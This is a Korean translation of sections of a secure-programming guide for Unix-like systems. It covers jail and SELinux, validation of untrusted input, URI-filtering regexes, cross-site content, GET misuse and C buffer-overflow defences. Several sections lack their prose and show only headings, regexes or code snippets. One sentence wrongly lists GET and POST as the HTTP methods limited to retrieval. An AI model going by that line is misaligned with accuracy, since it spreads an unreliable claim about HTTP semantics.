썬 솔라리스와 거의 모든 리눅스 시스템은 인증을 위해 PAM (Pluggable Authenticatoin Module, 장착식 인증 모듈) 을 사용한다. PAM 은 인증 방법의 런타임 설정을 허용한다 (예, 패스워드, 스마트 카드 등의 사용). PAM 사용에 대해 더욱 자세한 정보는 10.6절 를 보라.

3.10. 유닉스 계열 시스템을 위한 전문적인 보안 확장

방대한 양의 연구과 개발이 다양한 커뮤니티의 보안 요구를 지원하기 위해 유닉스 계열 시스템을 확장해왔다. 예를 들어, 몇가지 유닉스 계열 시스템은 미국의 다중 수준의 군용 보안을 지원하기 확장되어졌다. 소프트웨어를 개발하려면 이러한 확장과 함께 작동될 수 있도록 소프트웨어 설계를 하려고 노력해야 한다.

FreeBSD 는 jail(2) 라는 새로운 시스템 호출을 갖고 있다. jail 시스템 호출은 환경을 많은 가상 머신으로 하부-파티셔닝할 수 있게 지원한다 (``super-chroot" 의미); 이는 인터넷 서비스 공급업자 (ISP) 가 가상 머신 서비스를 제공할 수 있는 환경을 구축하는데 있어 매우 널리 사용되고 있다. jail 내에서 모든 프로세스 (루트 소유의 프로세스일지라도) 는 jail 로 제한된 요청 범위를 갖는다. FreeBSD 가 처음 설치되어 부팅될 때 어떠한 프로세스도 jail 내에는 존재하지 않을 것이다. 프로세스가 jail 내에 놓일 때 그 프로세스 및 모든 자손 프로세스는 그 jail 내에 존재할 것이다. 일단 jail 내에 있다면 파일 네임-공간은 chroot(2) (일반적인 chroot 이스케이프 루트 (route) 는 블럭되어 있다) 를 통해서만 접근할 수 있으며 네트워크 자원은 특정 IP 주소의 경우만 바인딩할 수 있다. 또한 시스템 자원 조작 및 특권을 갖는 연산을 수행할 수 있는 능력은 갑자기 축소되며 다른 프로세스와 상호작용할 수 있는 능력도 동일 jail 내의 프로세스로만 제한된다. 각 jail 은 하나의 IP 주소에 바운드되어 있음을 주목해라; jail 내의 프로세스는 나가거나 들어오는 접속에 대해 다른 모든 IP 주소를 사용할 수 없을 것이다.

POSIX 능력과 특별한 마운트-time 옵션과 같이 리눅스에서 사용할 수 있는 약간의 확장은 이미 논의되었으며 리눅스 시스템에 대해 제한된 실행 환경을 생성하기 위해 약간의 노력이 있어 왔다; 많은 다른 접근 방법이 있다. 미국의 National Security Agency (NSA) 는 전문화된 언어로 보안 정책의 정의를 지원하고 이 정책을 적용하는 Security-Enhanced Linux (Flask) 를 개발했다. Medusa DS9 은 커널 수준에서 사용자 공간 인가 서버를 지원함으로써 리눅스를 확장한다. LIDS 는 관리자로 하여금 시스템을 로크 다운 (lock down) 할 수 있게 함으로써 파일과 프로세스를 보호한다. ``Rule Set Based Access Control" 시스템 RSBAC 는 Abrams 와 Lapadula 에 의한 Generalized Framework for Access Control (GFAC) 에 기초하는데 몇몇 커널 모듈에 기초해 접근 제어를 할 수 있는 유연한 시스템을 제공한다. Subterfugue 는 ``observing and playing with the reality of software" 의 뼈대로 시스템 호출을 가로채 그 매개변수와/또는 반환값을 변경해 sandbox, 추적기 등을 구현할 수 있다; 이는 변경없이 (어떠한 커널 수정도 필요하지 않다) 리눅스 2.4 하에서 작동한다. Janus 는 제한된 실행 환경내에서 신뢰되지 않은 애플리케이션을 sandboxing 하기 위한 보안 도구이다. 어떤 사람은 sandbox 구현으로 "Linux on Linux" 을 구현한 User-mode Linux 도 사용했다. 더욱 복잡한 보안 모델을 구현하기 위한 많은 다른 접근 방법이 있기 때문에 Linus Torvals 는 상이한 보안 정책이 삽입될 수 있도록 일반적인 접근 방법이 개발되어야 한다고 요청했다; 이에 대한 더욱 자세한 정보는 http://mail.wirex.com/mailman/listinfo/linux-security-module 를 보라.

다양한 유닉스 계열 시스템에서 보안에 대해 많은 다른 확장들이 있지만 이는 실제로 이 문서가 다루는 범위를 넘어선다.

4.1. 명령 행

많은 프로그램은 명령 행 (command line) 에서 입력을 받는다. 신뢰할 수 없는 사용자는 setuid/setgid 프로그램의 명령행 데이타를 제공하는데 따라서 setuid/setgid 프로그램은 잠재적으로 위협이 되는 명령 행 값들로부터 자신을 보호해야 한다. 공격자는 execve(3) 호출과 같은 명령 행을 통해 그저 모든 종류의 데이타를 보낼 것이다. 따라서 setuid/setgid 프로그램은 명령 행 입력을 완벽히 확인해야 하며 명령 행 인수 0 으로 보고된 프로그램 (공격자는 이를 NULL 을 포함한 어떠한 값으로도 설정할 수 있다) 의 이름을 믿어서는 안된다.

4.2. 환경 변수

디폴트로 환경 변수는 부모 프로세스로부터 상속된다. 그러나 프로그램이 다른 프로그램을 실행시킬 때 호출하는 프로그램이 환경 변수를 임의의 값으로 설정할 수 있다. 이는 setuid/setgid 프로그램의 경우 이들의 호출자가 주어진 환경 변수들을 완벽히 제어할 수 있기 때문에 위험하다. 환경 변수는 보통 상속되기 때문에 이는 또한 과도적으로 적용되는데 보안적인 프로그램이 어떤 다른 프로그램을 호출할 수도 있으며 특별한 조치가 없다면 잠재적으로 위험한 환경 변수를 자신이 호출한 프로그램에 넘겨줄 수 있다. 다음 하부 절은 환경 변수 및 이를 갖고 하는 일을 논의한다.

4.3. 파일 기술자

프로그램은 일련의 "오픈 파일 기술자" 즉 미리 열려 있는 파일을 넘겨받는다. setuid/setgid 프로그램은 사용자가 어떤 파일을 오픈할 것인지 및 무엇에 오픈할 것인지 (허가 한계내에서) 를 선택할 수 있다는 사실을 처리해야 한다. setuid/setgid 프로그램은 새로운 파일을 열때 늘 고정된 파일 기술자 id 로 열릴 것이라고 가정하지 않아야 한다. 또한 표준 입력 (stdin), 표준 출력 (stdout) 과 표준 에러 (stderr) 이 터미널을 참조하는지 또는 동등하게 열려 있는지 가정하지 않아야 한다.

이에 대한 논리적 근거는 쉽다; 공격자가 프로그램 시작전에 파일 기술자를 열거나 닫을 수 있기 때문에 예기치 않은 상황을 생성할 수 있다는 것이다. 공격자가 표준 출력을 닫는 다면 프로그램이 다음 파일을 열 때 이 파일이 표준 출력인 것처럼 열려질 것이며 곧 모든 표준 출력을 그 파일로 보낼 것이다. 어떤 C 라이브러리는 stdin, stdout 와 stderr 이 (/dev/null 에) 이미 열려져 있지 않다면 이들을 자동적으로 열 것이다. 물론 모든 유닉스 계열 시스템에 동일하게 적용되지는 않는다.

4.4. 파일 컨텐츠

프로그램이 파일로부터 명령을 받는다 하더라도 특히 단지 신뢰할 수 있는 사용자만이 그 내용을 제어할 수 없다면 그 파일을 신뢰하지 않아야 한다. 보통 이는 신뢰할 수 없는 사용자가 파일, 그 디렉토리 또는 모든 조상 디렉토리를 변경할 수 없어야 한다는 것을 의미한다. 그렇지 않다면 그 파일을 조심스럽게 다뤄야 한다.

파일내 명령이 신뢰할 수 없는 사용자로부터 온 것이라면 파일로부터의 입력이 이 책을 통해 기술한 바와 같이 보호되고 있는지를 확인해라. 특히 일련의 합법적인 값들과 일치되는지 버퍼 오버플로우가 없는 지를 검사해라.

4.5. 웹 기반 애플리케이션 입력 (특히 CGI 스크립트)

CGI 스크립트와 같은 웹 기반 애플리케이션은 다소의 신뢰된 서버에서 실행되고 웹을 통해 어떻게든 입력 데이타를 얻어야 한다. 입력 데이타는 일반적으로 신뢰할 수 없는 사용자로부터 오기 때문에 이 입력 데이타의 정당성은 입증되어야 하는데 실은 이 정보가 실제 신뢰할 수 없는 제 삼자로부터 올 수도 있다; 더욱 자세한 정보는 6.13절 을 보라. 예를 들어, CGI 스크립트는 일련의 표준 환경 변수들과 표준 입력을 통해 이 정보를 넘겨받는다. 이 텍스트의 나머지는 CGI 스크립트가 동적 웹 컨텐트를 구현하는 가장 공통된 기술이기 때문에 이를 구체적으로 논의할 것이다. 물론 일반적인 핵심은 대부분의 다른 동적 웹 컨텐트 기법에 동일하게 적용된다

많은 CGI 스크립트의 입력은 소위 ``URL-encoded" 포맷으로 제공되기 때문에, 즉 어떤 값이 %HH 포맷 (HH 는 그 바이트에 대한 십육진수 코드) 으로 쓰여 있기때문에 한가지 추가적인 복잡성을 더한다. 각자 또는 CGI 라이브러리는 입력을 URL-decoding 한 후 그 바이트 값이 받아들일 수 있는지 검사함으로써 이러한 입력을 정확히 다뤄야 한다. %00 (NIL) 과 %0A (개행) 과 같은 문제가 있는 값을 포함한 모든 값을 정확히 다뤄야 한다. 입력을 한 번 이상 디코드하지 마라. 그렇지 않으면 %2500 같은 입력은 이상하게 다뤄질 것이다 (``%25" 는 ``%" 로 전환되며 그 결과 생긴 ``%00" 은 틀리게 NIL 문자로 전환될 것이다).

CGI 스크립트는 일반적으로 입력에 특별 문자를 포함함으로써 공격받는데 위의 설명을 보라.

웹 기반 애플리케이션에 사용할 수 있는 다른 데이타 형태는 ``쿠키"이다. 사용자는 임의의 쿠키 값을 제공할 수 있으며 따라서 특별한 사전 조치를 취하지 않는다면 신뢰될 리 없다. 또한 쿠키는 사용자 추적에 사용할 수 있는데 이는 많은 사용자들에 대해 사생활 침해 문제를 야기할 수 있다. 그 결과 많은 사용자는 쿠키를 금지하고 있으며 따라서 가능하다면 웹 애플리케이션은 쿠키 사용이 필요치 않도록 설계되어야 한다 (그러나 각 사용자들을 인증해야 할때에 대한 저자의 논의를 보라). 저자는 현재 세션이 종료된 후에도 남아있는 영속적인 쿠키 사용을 피하거나 제한하도록 권한다. 정말로 미국의 에이전시들은 특별한 환경을 제외하고는 사생활 침해에 대한 우려때문에 영속적인 쿠키 사용이 금지되어 있다; OMB guidance in memorandum M-00-13 (June 22, 2000) 를 보라. 쿠키를 사용할 때 몇몇 브라우저는 당신은 사생활 프로파일 (서버의 루트 디렉토리내에 p3p.xml 이라는) 을 갖고 있다고 주장할 수 있음에 주의해라.

몇몇 HTML 폼은 어떤 비합법적인 값을 예방하기 위해 클라이언트 측에서의 입력 검사를 포함하고 있으며 이는 일반적으로 자바스크립트/ECMA 스크립트 또는 자바를 사용하여 구현된다. 이 검사는 어떠한 네트워크 접근도 요하지 않으면서 ``즉각적"으로 할 수 있기 때문에 사용자에게 유용할 수 있다. 그러나 이 종류의 입력 검사는 공격자가 검사를 받지 않고도 웹 서버에 직접적으로 비합법적인 값을 보낼 수 있기때문에 보안에 대해서는 무용지물이다. 이를 막는 것이 어려지는 않지만 임의의 데이타를 웹 애플리케이션에 보내는 프로그램을 작성하지 않아야 한다. 일반적으로 서버는 클라이언트가 이 검사를 보안적으로 수행하도록 할 수 없기 때문에 모든 자신의 입력 (폼 데이타, 쿠키 등) 에 대해 검사를 수행해야 한다. 요약하면 일반적으로 클라이언트는 ``신뢰할 수 있는 채널"이 아니라는 것이다. 이에 대한 더욱 자세한 정보는 6.9절 을 보라.

마이크로소프트사의 Active Server Pages (ASP) 를 사용하는 사람들은 입력 유효화에 대한 짧은 논의를 http://heap.nologin.net/aspsec.html 의 Jerry Connolly 로부터 얻을 수 있다.

4.6. 다른 입력

프로그램은 모든 입력이 제어되고 있는지를 보증해야 한다; 이는 setuid/setgid 프로그램의 경우 매우 많은 입력이 있기 때문에 특히 어렵다. 프로그램이 고려해야 하는 다른 입력으로는 현재 디렉토리, 시그널, 메모리 맵 (mmaps), System V IPC 와 umask (새롭게 생성된 파일의 디폴트 허가를 결정한다) 가 있다. 프로그램 시동시 디렉토리를 적절한 완전한 이름을 갖는 디렉토리로 변경 (chdir(2) 를 사용하여) 하는 것을 고려해라.

4.7. 인간 언어 (로케일) 선택

더욱 많은 사람들이 컴퓨터를 갖게되고 인터넷을 이용할 수 있게 됨에 따라 많은 언어와 문화를 지원하는 프로그램에 대한 요구가 점점 증대되어 왔다. 이러한 언어와 다른 문화적 요소의 결합을 보통 ``로케일 (locale)" 이라고 한다. 다수의 로케일을 지원할 수 있도록 프로그램을 수정하는 과정과 프로그램에 각 로케일의 정보를 제공하는 과정을 각각 ``국제화 (internalization)" (i18n) 와 ``지역화 (localization)" (l10n) 라고 한다.

전반적으로 국제화는 훌륭한 작업이지만 보안 악용에 대한 다른 기회를 제공한다. 잠재적으로 신뢰할 수 없는 사용자가 원하는 로케일에 대한 정보를 제공하기 때문에 로케일 선택은 적절히 보호되지 못한다면 공격에 악용될 수 있는 또다른 입력이 된다.

 [A-Za-z][A-Za-z0-9_,+@\-\.]*

4.8. 문자 인코딩

4.9. 입력에서 교차 사이트의 악의있는 컨텐트를 예방해라

어떤 프로그램은 신뢰되지 않은 한 사용자로부터 데이타를 받아 이를 두 번째 사용자에게 넘겨주는데 그 후 두 번째 사용자의 애플리케이션은 두 번째 사용자에게 해로운 방식으로 그 데이타를 처리할 수도 있다. 이는 특히 웹 애플리케이션에 일반적인 문제로 ``cross-site malicious content" 라고 부를 것이다. 요약하면 입력에 대한 검사, 필터링 또는 인코딩을 한 후 이를 받아들여야 한다. 더욱 자세한 정보는 6.13절 을 보라.

기본적으로 이는 모든 웹 애플리케이션 입력이 (이 문제를 야기할 수 있는 문자들이 제거되도록) 필터링, (이 문제를 야기할 수 있는 문자들이 문제를 예방하는 방식으로 인코드되도록) 인코딩 또는 (단지 "안전한" 데이타만이 목적지에 도달함을 보증하기 위해) 유효화되어야 함을 의미한다. 필터링과 유효화는 대개 입력에서 행해져야 하지만 인코딩은 입력 또는 출력시 행해질 수 있다. 데이타를 분석없이 그저 통과시키려면 아마도 입력시 데이타를 인코딩하는 것이 더욱 좋지만 (이 경우는 잊지 않을 것이다) 데이타를 처리한다면 출력시 인코딩에 대해서는 논의들이 있다.

4.10. 다시 보내질 수도 있는 HTML/URIs 를 필터링해라

Cross-site malicious content 를 예방해야 하는 한가지 특별한 경우는 한 사용자로부터 HTML 또는 XHTML 을 받아 이를 다른 사용자에게 전달하도록 설계된 웹 애플리케이션이다 (이에 대한 더욱 자세한 정보는 6.13절 을 보라). 다음 하부 절은 이러한 특정 종류의 입력을 필터링하는 것이 공통 요구사항이기 때문에 이에 대해 논의한다.

scheme://authority[path][?query][#fragment]

 [username[:password]@]host[:portnumber]

path[?query][#fragment]

(http|ftp|https)://[-A-Za-z0-9._/]+

 (http|ftp|https)://[-A-Za-z0-9._]+(\/([A-Za-z0-9\-\_\.\!\~\*\'\(\)\%\?]+))*/?

 (
 (
  # Handle http, https, and relative URIs:
  ((https?://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?))|
    ([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)?
  ((/([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
   (\?(                                                              # query:
       (([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+=
        ([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+
        (\&([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+=
         ([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*)
       |
       (([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+  # isindex
       )
   ))?
   (\#([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
  )|
 # Handle ftp:
 (ftp://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?)
  ((/([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
  (\#([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
  )
 )

 (
 (
  # Handle http, https, and relative URIs:
  ((https?://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?))|
    ([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)?
  ((/([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
   (\#([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
  )|
 # Handle ftp:
 (ftp://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?)
  ((/([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
  (\#([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
  )
 )

4.11. 비질의를 수행하는 HTTP GET 을 금지해라

HTTP 를 사용하는 웹 기반 애플리케이션은 질의외의 다른 것에 대해 HTTP ``GET" 또는 ``HEAD" 메쏘드를 사용하지 못하도록 한다. HTTP 는 여러가지 많은 메쏘드들을 포함하고 있는데 가장 널리 사용되고 있는 두가지 메쏘드는 GET 과 POST 이다. GET 과 POST 모두 폼으로 데이타를 전송하는데 사용할 수 있는데 GET 메쏘드는 URL 로 데이타를 전송하는 반면 POST 메쏘드는 데이타를 개별적으로 전송한다.

비질의 (데이타 변경, 돈 이체 또는 서비스 서명과 같은) 를 수행하기 위해 GET 메쏘드를 사용할 때의 보안 문제는 공격자가 악의있는 폼 데이타를 포함하는 URL 과 하이퍼텍스트 링크를 생성할 수 있다는 것이다. 공격자가 속는 사람이 링크 (하이퍼텍스트 링크의 경우) 를 클릭하거나 또는 그저 페이지 (HTML 의 img 태그를 갖는 이미지와 같은 다른 곳에 포함된 transcluded 정보의 경우) 를 보도록 납득시킨다면 속는 사람은 GET 을 수행할 것이다. GET 이 수행될 때 공격자가 생성한 모든 폼 데이타는 속는 사람에 의해 지정된 링크로 보내질 것이다. 이것이 6.13절 에서 심도있게 논의될 cross-site malicious attack 이다.

악의있는 cross-site 공격이 수행할 수 있는 단 하나의 동작은 사용자로 하여금 예상치 못한 데이타를 보도록 하는 것으로 이는 그다지 심각한 문제는 아니다. 그러나 이 능력을 이용해서 어떤 공격을 행할 수 있기 때문에 여전히 문제가 될 수 있다. 예를 들어 비합법적인 또는 연루시킬 수 있는 자료 (material) 을 요청하는 것으로부터 나올 수 있는 예기치 못했지만 실제 세계에 영향을 끼칠 수 있는 무엇인가를 요청하는 사용자때문에 또는 사용자로 하여금 보통은 노출될 수 없지만 공격자에게 노출될 지 모를 어떤 방식으로 정보를 요청하게끔 함으로써 프라이버시가 손실될 가능성이 있다. 그러나 악의적인 공격자가 데이타 보기만이 아니라 cross-site 링크를 통해 데이타 변경을 야기할 수 있다면 더욱 더 심각한 효과를 야기할 수 있다.

대부분의 CGI 라이브러리와 같은 전형적인 HTTP 인터페이스는 데이타를 얻는데 있어 GET 과 POST 를 동일한 방식을 갖는 메쏘드로 다루는 것이 도움이 되기 때문에 보통 이 둘의 차이를 감춘다. 그러나 실제로 데이타 질의이외의 무엇인가를 야기하는 동작에 대해서는 요청이 POST 이외의 어떤 것인지를 알기 위해 검사해라; 만약 그렇다면 주어진 데이타로 채워진 폼을 보여서 사용자들에게 그들이 요청한 것인지를 확인하도록 물어라. 이는 cross-site malicious content 공격을 예방할 것이며 동시에 한 번의 클릭으로 동작을 확인케 하는 편의성을 사용자에게 제공하는 것이다.

정말 이 동작은 HTTP 스펙에 의해 강력히 추천되고 있다. HTTP 1.1 스펙 (IEFT RFC 2616 9.1.1. 절) 에 따르면 GET 과 POST 메쏘드는 검색이외의 다른 동작을 취하는 의미를 가져서는 안된다. 이러한 메쏘드들은 안전하다고 고려되어야 한다. 이는 사용자 에이전트로 하여금 특별한 방식으로 POST, PUT 과 DELETE 와 같은 다른 메쏘드를 나타낼 수 있게 하며 따라서 사용자는 아마도 안전하지 못한 동작이 요청되고 있다는 사실을 알게 된다.

4.12. 합당한 입력 시간 및 로드 레벨을 제한해라

특히 들어오는 네트워크 데이타에 타임아웃과 로드 레벨 한도를 설정해 놓아라. 그렇지 않다면 공격자가 끊임없이 서비스를 요청함으로써 서비스 부인 공격을 쉽게 할 수 있을 것이다.

5.1. C/C++ 에서의 위험

C 사용자는 경계 (bound) 를 검사하지 않는 위험한 함수가 경계가 절대로 초과되지 않을 것이다라는 보장을 하지 않는다면 이를 사용하는 것을 피해야 한다. 대부분의 경우에 있어 피해야 될 (또는 보호를 보장해야할) 함수는 strcpy(3), strcat(3), sprintf(3) (이와 유사한 vsprintf(3)) 과 gets(3) 인데 이들은 각각 strncpy(3), strncat(3), snprintf(3) 과 fgets(3) 으로 대체되어야한다. 밑부분의 논의를 보라. strlen(3) 함수도 있어야 될 종결 NIL 문자가 있을 것이다라고 보장하지 못한다면 피해야 한다. scanf(3), fscanf(3), sscant(3), vscanf(3), vsscanf(3) 과 vfscant(3) 과 같은 scanf() 계열도 사용하기에는 위험하다; 문자열의 최대 길이를 제어함이 없이 데이타를 문자열로 보내기 위해 이 함수들을 사용하지 마라 (%s 포맷이 특히 널리 알려진 문제이다). 어디에 사용하느냐에 따라 버퍼 오버런을 허용할 수 있는 다른 위험한 함수로는 realpath(3), getopt(3), getpass(3), streadd(3), strecpy(3) 과 strtrns(3) 들이 있다. getwd(3) 함수에 주의해야하는데 getwd(3) 함수에 보내지는 버퍼는 적어도 PATH_MAX 바이트 길이여야 한다.

불행히 snprintf() 변형들은 추가적인 문제를 갖고 있다. sprintf() 가 ISO 1990 (ANSI 1989) 표준내의 표준 C 함수이지만 공식적으로 snprintf() 는 표준 C 함수가 아니며 따라서 모든 시스템들이 snprintf() 를 포함하지 않는다. 더욱 안좋은 것은 어떤 시스템의 snprintf() 가 실제적으로 버퍼 오버플로우에 대한 보호를 제공하지 않는다는 것이다; 시스템들이 그저 sprintf 를 직접적으로 호출한다. 리눅스 libc4 의 예전 버전들은 이러한 끔직한 문제를 야기하는 "libbsd" 에 의존했으며 저자는 예전의 어떤 HP 시스템들도 동일한 문제가 있음을 들었다. snprintf 의 리눅스 현재 버전은 적절히 작동한다고 알려져 있다. 즉, 이는 실제적으로 요청된 경계를 침해하지 않는다. snprintf() 의 반환값도 마찬가지로 갖가지이다; Single Unix Specification (SUS) 버전 2 와 C99 표준은 snprintf() 가 반환하는 값에 차이가 있다. 마지막으로 적어도 snprintf 의 어떤 버전은 문자열이 NIL 로 끝날 것임을 보장하지 않는 것처럼 보인다; 문자열이 너무 길면 NIL 을 전혀 포함하지 않는다. GTK 의 기본으로 GNU C 라이브러리인 glibc 와는 다른 glib 라이브러리는 g_snprintf() 를 갖고 있음을 주목해라. 이는 일관성있는 반환 의미 체계를 갖으며 늘 NIL 로 끝나고 가장 중요한 것은 늘 버퍼 길이를 침범하지 않는다는 것이다.

5.2. C/C++ 에서의 라이브러리 솔루션

C/C++ 에서 한가지 해결방법은 버퍼 오버플로우 문제를 갖지 않는 라이브러리 함수를 사용하는 것이다. 첫 하부 절은 작동될 수 있지만 단점을 갖는 표준 C 라이브러리 솔루션을 기술하며 다음 절은 버퍼에 대한 고정된 길이 및 동적으로 재할당된 접근 방법에 대한 일반적인 보안 쟁점을 기술한다. 다음 하부 절은 strlcpy 와 libmib 와 같은 다양한 대체 라이브러리를 기술한다.

 char buf[BUFFER_SIZE];
 sprintf(buf, "%*s",  sizeof(buf)-1, "long-string");  /* WRONG */
 sprintf(buf, "%.*s", sizeof(buf)-1, "long-string");  /* RIGHT */

size_t strlcpy (char *dst, const char *src, size_t size);
size_t strlcat (char *dst, const char *src, size_t size);

  a = strlcat ("Y", "123", 0);

5.3. C/C++ 에서의 컴파일 솔루션

완전히 다른 접근 방법은 경계 검사를 하는 컴파일 방법을 사용하는 것이다 ([Sitaker 1999] 를 참조해라). 저자 의견으로는 이러한 도구는 다수의 보호 계층를 갖는 경우 매우 유용하지만 유일한 보호책으로 이 기법을 사용하는 것은 현명하지 않다. 이에 대해서는 적어도 두가지 이유가 있다. 우선 대부분의 이러한 도구들은 버퍼 오버플로우에 대한 부분적인 보호만을 제공한다 (완전한 보호는 일반적으로 12-30 배 정도 느리다); C 와 C++ 은 단순히 버퍼 오버플로우에 대해 보호하도록 설계되지 않았다. 두번째 오픈 소스 프로그램에 대해 프로그램을 컴파일하기 위해 어떤 도구가 사용될 것이라는 것을 확신할 수 없다; 주어진 시스템에 대해서 ``통상적인" 컴파일러를 사용하는 것이 갑자기 보안 결함을 제공할 수도 있다.

가장 유용한 도구중의 하나는 표준 GNU C 컴파일러 gcc 를 수정한 "StackGuard" 이다. StackGuard 는 ``canary" 라고 불리는 ``guard" 값을 반환 주소 앞에 추가함으로써 작동한다; 버퍼 오퍼플로우가 반환 주소를 겹쳐쓰면 canary 값이 변경되어 시스템은 이를 사용하기 전에 이를 탐지한다. 이는 매우 유익하지만 다른 값을 겹쳐쓰는 버퍼 오버플로우 공격을 예방하지는 못한다. canary 를 ``PointGuard" 라고 불리는 다른 데이타 아이템에 추가할 수 있도록 StackGuard 를 확장한 작업이 있다. PointGuard 는 자동적으로 특정 값을 보호할 것이다 (예, 함수 포인터 및 longjump 버퍼). 그러나 PointGuard 를 사용해서 다른 변수 타입을 보호하기 위해서는 특정 프로그래머의 중재를 필요로 한다 (프로그래머는 canary 를 이용해 어떤 데이타 값이 보호되어야 하는 지를 식별해야 한다). 이는 유익할 수 있지만 보호가 필요하다고 (그러나 어쨋든 보호가 필요한) 생각하지 못했던 데이타 값에 대한 보호를 우연히 생략하기가 쉽다 . StackGuard, PointGuard 및 다른 대안에 대해 더욱 자세한 정보는 Cowan [1999] 를 참조해라.

관련 문제로써 리눅스에서는 커널을 수정해서 스택 세그먼트를 실행불가능하게 만들 수 있다; 이러한 패치가 존재한다 (Solar Designer 의 패치를 보라 http://www.openwall.com/linux/ ). 그러나 이 문서 작성 시점에서 이는 리눅스 커널내로 구축되지 않았다. 이 근본적 이유의 일부분은 이것이 생각하는 것만큼 보호를 하지 않는다는 것이다; 공격자가 간단히 시스템으로 하여금 프로그램내 다른 ``interesting" 위치를 호출하도록 할 수 있다 (예, 라이브러리, 힙 또는 정적 데이타 세그먼트내). 또한 때때로 리눅스에서는 예를 들어 시그널 및 GCC ``trampolines" 를 구현하기 위한 경우와 같이 스택에 실행가능한 코드가 있어야 한다. Solar Designer 패치는 이런 경우를 다루지만 패치를 복잡하게 만든다. 개인적으로 저자는 이것이 어느정도 공격을 어렵게 만들고 기존의 다양한 공격들에 대해 보호하기 때문에 주요 리눅스 배포판에 결합되는 것을 보고 싶다. 그러나 저자는 이것이 생각하는 것만큼 많은 보호를 추가하지 못하며 비교적 쉽게 뚫어질 수 있다는 리누스 토발즈와 다른 이에 동의한다. http://lwn.net/980806/a/linus-noexec.html 에서 이 지원을 포함하지 않는 리누스 토발즈의 설명을 읽을 수 있다.

요약하면 자체적으로 버퍼 오버플로우를 보호하는 정확한 프로그램을 개발하는 데 우선적으로 중점을 두는 것이 더욱 좋다. 따라서 여러분이 이를 다 읽은 후 반드시 추가적인 안전망으로써 StackGuard 와 같은 기법 및 도구를 사용해라. 코드 자체에서 버퍼 오버플로우를 제거하기 위해 더욱 더 작업한다면 보호를 위해 StackGuard 가 호출될 "약점"은 없을 것이기때문에 StackGuard 는 더욱 더 효과적일 것같다.

5.4. 다른 언어

버퍼 오버플로우 문제는 펄, 파이썬, 자바 및 아다95 와 같은 다른 프로그래밍 언어를 사용하자는 주장에 대한 훌륭한 이유이다. 결국 오늘날 사용되는 거의 모든 프로그래밍 언어 (어셈블러이외의) 들은 버퍼 오버플로우를 예방한다. 이러한 다른 언어를 사용한다고 해서 모든 문제를 제거하는 것은 물론 아니다; 특히 NIL 문자와 관련해서 7.2절 의 논의를 보라. 그러한 다른 언어의 인프라 (예, 런타임 라이브러리) 를 쓸 수 있고 이 인프라가 안전함을 보장해야 하는 다른 문제가 있다. 여러분은 버퍼 오버플로우를 예방하는 보안적인 프로그램을 개발할 때 다른 프로그래밍 언어를 사용하는 것을 확실히 고려해야 한다.

6.1. 보안적인 프로그램에 대해 훌륭한 소프트웨어 엔지니어링 원리를 따르라

Saltzer [1974] 와 나중에 Saltzer 과 Schroeder [1975] 는 보안적인 보호 시스템 설계 원리에 대한 다음 목록을 작성했는데 이는 현재까지도 유효하다:

• 최소한의 권한 (Least privilege). 각 사용자와 프로그램은 가능한 최소한의 권한을 사용하여 작동해야 한다. 이 원리는 사고, 에러 또는 공격으로부터의 손상을 제한하며 또한 권한을 갖는 프로그램간의 잠재적인 상호작용의 수를 저하시는데 따라서 의도되지 않은, 원하지 않은 또는 부적절한 권한 사용이 덜 일어나게 할 것이다. 이 개념은 프로그램의 내부로 확장될 수 있는데 이러한 권한을 필요로하는 프로그램의 가장 작은 부분만이 이러한 권한을 가져야 한다. 권한 제한을 어떻게 하는 지에 대한 더욱 자세한 정보는 6.3절 을 보라.

• 메카니즘의 효율적 사용/단순 (Economy of mechanism/Simplicity). 보호 시스템 설계는 가능한 단순하고 작아야 한다. 이들은 "소프트웨어의 라인별 검사 및 보호 메카니즘을 구현하는 하드웨어의 물리적 조사와 같은 기법들이 필요하다. 이러한 기법이 성공적이기 위해서는 작고 단순한 설계가 절대적으로 필요하다" 라고 논의하고 있다. 이는 때때로 "KISS ("keep it simple, stupid")" 라고 기술된다.

